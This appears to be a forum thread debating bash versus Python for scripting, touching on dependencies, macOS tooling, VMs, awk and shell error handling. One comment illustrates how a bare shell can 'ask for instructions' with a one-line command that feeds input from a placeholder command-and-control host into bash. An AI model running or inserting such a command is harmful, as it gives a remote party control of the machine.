Every time a python script throws an exception at me (pretty much every time I invoke a python script for the first time), my first debugging step is to read it and attempt to rewrite it in bash.
9 times out of 10, the result is 10-100x times shorter, with zero external dependencies, and is also easier to debug.
In the other case, the python thing is some non-trivial monstrosity that should have been implemented in a compiled language with static type checking.
I am very skeptical of this claim...in practice I've found it to rarely be the case. Usually shell scripts have more dependencies, and even worse, they are implicit since Bash provides no mechanism for managing dependencies. Programs like sed, awk, grep, cut, paste, curl, jq, gzip, tar, etc. These are all separate dependencies, usually in separate packages (some are grouped together into coreutils), supporting different feature sets between distributions and OSes. All of those can be replaced with the Python standard library.
Bash itself is pretty anemic and isn't very useful without gluing together external programs, which is its raison d'etre after all.
A shell script is literally intended to "glue together" external programs, including all of CoreUtils. If you are doing more than just "gluing together" other programs, then you are programming, not scripting, and you'd be far better off reaching for an actual programming language instead of a shell script of any kind.
Python has plenty of warts too. You can't depend on it being installed on any given system, can't depend on the version even (Python 2.x or 3.x?), which libraries are installed, environment, venv support, etc.
I'm not saying Python isn't without its problems too. I don't even like using Python that much for scripting. But we should be clear about what tradeoffs we're making when we write Bash scripts, and not pretending like we have "zero dependencies".
Not many people are running macOS servers... and servers tend to be where most shell scripts are being used.
macOS has notoriously out of date versions of all system programs, CoreUtils and Bash among them, due to licensing issues with Apple's closed-source proprietary OS. BSD and Linux based systems, generally don't have this issue.
That being said, a regular Shell Script (not a Bash Script) will run unmodified on macOS. When people say "shell script", they usually mean an actual `sh` script instead of a Bash script.
Thinking of macOS as "just another *NIX" really doesn't fly these days. Crazily outdated standard systems utilities is just the tip of the ice berg, really.
Your team could then freely use whatever computer/OS they wanted, but also keep everyone's development systems consistent with each other, as well as avoid any strange Apple-induced issues that come with running Apple hardware as a developer in 2020.
You're really fighting an uphill battle with macOS these days... as sad as that might be for some.
You've spelled it out in a few different posts - macOS breaks everything for your team. So why fight it? Get a different OS to develop in... or dumb down everything because macOS uses crusty, old utilities.
How is that not what we're already doing? Minikube runs in a VM. But we have to set it up somehow. Running a minikube VM inside a maually configured linux VM makes no sense - if we did that, now we'd need a scipt to boottrap the linux VM.
> You're really fighting an uphill battle with macOS these days... as sad as that might be for some.
I can definitely see this becoming more and more true in many fields, but this hans't been an issue for us.
I was implying a development environment inside a VM, not just a VM for testing.
You posted several times about how macOS isn't compatible with your production environments scripts and what-not. The solution is to either not use macOS, or use a standardized VM every developer on the team uses to develop inside of, so that your scripts work "out of the box".
> I can definitely see this becoming more and more true in many fields, but this hans't been an issue for us.
Your posts seem to contradict this. Perhaps you were exaggerating the pain it causes the team when production scripts don't work on developer systems. Either way - it seems the writing is already on the wall. Apple isn't going to make it easier any time soon - so ditch the mac's.
Another solution would be to write those scripts against a language and standard library that doesn't have wildly varying behaviour between its underlying platforms. One of my side projects has a bunch of supporting scripts in Python doing similar things and they run exactly the same on Linux and macOS. They even run fine on Windows with only minimal modifications.
> Your posts seem to contradict this. Perhaps you were exaggerating the pain it causes the team when production scripts don't work on developer systems. Either way - it seems the writing is already on the wall. Apple isn't going to make it easier any time soon - so ditch the mac's.
With this statement I was referencing specifically the complaints that have surfaced in the past few years about new OS changes and security features breaking tooling. I don't count our infra team using new bash features in this because the issue with outdated bash/unix tooling is a long-standing one.
I can't speak for others, but for me personally, the usability of macOS for almost all of the things I do on a day-to-day basis is just day-and-night better than anything else, even if I have to hack up a bash script to work correctly from time to time. I will say the difference is less than it used to be - I use it occasionally and Linux has come a long way in the past 10 years.
(I know what you mean by VM, but I don't think the distinction is very important here, you get the same benefits either way, and using Python is arguably a lot simpler than using a full VM.)
(Though I use those as daily-driver packages on Macs and have actually never had something break? GNU tools tend to support BSD options.)
I actually hadn't thought to try this approach, though. The next time this happens I will definitely give it a shot.
[0] https://unix.stackexchange.com/a/24808/317276I think the popularity of Python for scripting is pretty good evidence that PG was dead wrong on the importance of brevity in programming languages. Further evidence can be found in Python's development of type hints.
output=$(dmesg | grep hda)
p1 = Popen(["dmesg"], stdout=PIPE)
p2 = Popen(["grep", "hda"], stdin=p1.stdout, stdout=PIPE)
p1.stdout.close() # Allow p1 to receive a SIGPIPE if p2 exits.
output = p2.communicate()[0]
You can write a simplifying function, but programs rarely do.
This is why I use the shell overall, but when I need to process something that's better expressed in python, I use pypyp.
output = check_output(“dmesg | grep hda”, shell=True)
> I think the popularity of Python for scripting is pretty good evidence that PG was dead wrong on the importance of brevity in programming languages.
IMO Python has a fair number of brevity constructs, which was it's one of the selling points, besides keeping other things readable. If you look at the published code from the research community, many of it resembles Matlab or Mathematica's style.
I actually find awk very readable. It's a far simpler language than Python really.
The exception is perhaps if you need to do something complex, like parse a csv.
It's like all of the bash scripts that we see that don't handle failures and traps or print a usage block.
awk -F : '/\/home/ { print $1":"$3":"$4":"$6 } 'This is true, but if you already know Python, then "awk + Python" has greater total complexity than "just Python". So the question is does awk add enough value to be worth the incremental cost of learning it in addition to Python? I think for many, the answer is "no".
I'll add good old Make to the list. It boggles the mind how some people prefer to reinvent the wheel instead of pulling a standard tool from a standard tool belt.
You can't just assume that it's okay to have your preferred scripting language everywhere.
Personally I don't use Python much for these use cases. For anything beyond trivial scripts I write Go programs, compiled into statically-linked executables that I can scp onto a host and run, the only dependency required at that point being libc. Or ideally the remote host is running inside a container, which would allow me to reproduce the dependencies locally (but also has a bunch of other complexity).
But saying "just use Bash" and then patting ourselves on the back is not really solving the problem, it's just kicking the can down the road, possibly not even very far.
Python and other powerful scripting languages can.
Having production servers that don't have Python/Ruby/Perl/etc unless they absolutely must is decades-old advice at this point.
The smart ones take that one step further: no production server should have any binaries that aren't absolutely necessary. This is why we use containers.
Not listen, but it can certainly connect out and ask for instructions...
bash -c 'bash < /dev/tcp/myevilcncserver.com/1234'You're mentioning exception errors as if having an explicit error message on failure is a problem, not a plus.
What happens when a bash script fails? Or worse, silently fails and leave you with a half-working setup at best and a seriously broken one due to some intermediary step failure being ignored?
If you happen to notice the error that is... like the OP pointed out, almost all bash shell script ignore silently errors and figuring which of the hundred of lines fails on your particular setup is a fun exercise.
And then... which bash debugger to you use to fix problem in bash shell script you been handed? Ah no, it's long reading and echo and trial and errors.
> And then... which bash debugger to you use to fix problem in bash shell script you been handed? Ah no, it's long reading and echo and trial and errors.
Or you could just add "-x" to the infamous "set -Eeuo pipefail" at the top of the script before running it, in which case it'll let you know exactly which of the hundreds of lines failed.
Alternatively, if you're using the "script template" in the submission, you can just pass in the "-v" option when you run the script and it'll take care of setting it for you.
"Debian Almquist shell. A small POSIX-compliant shell that is faster than bash."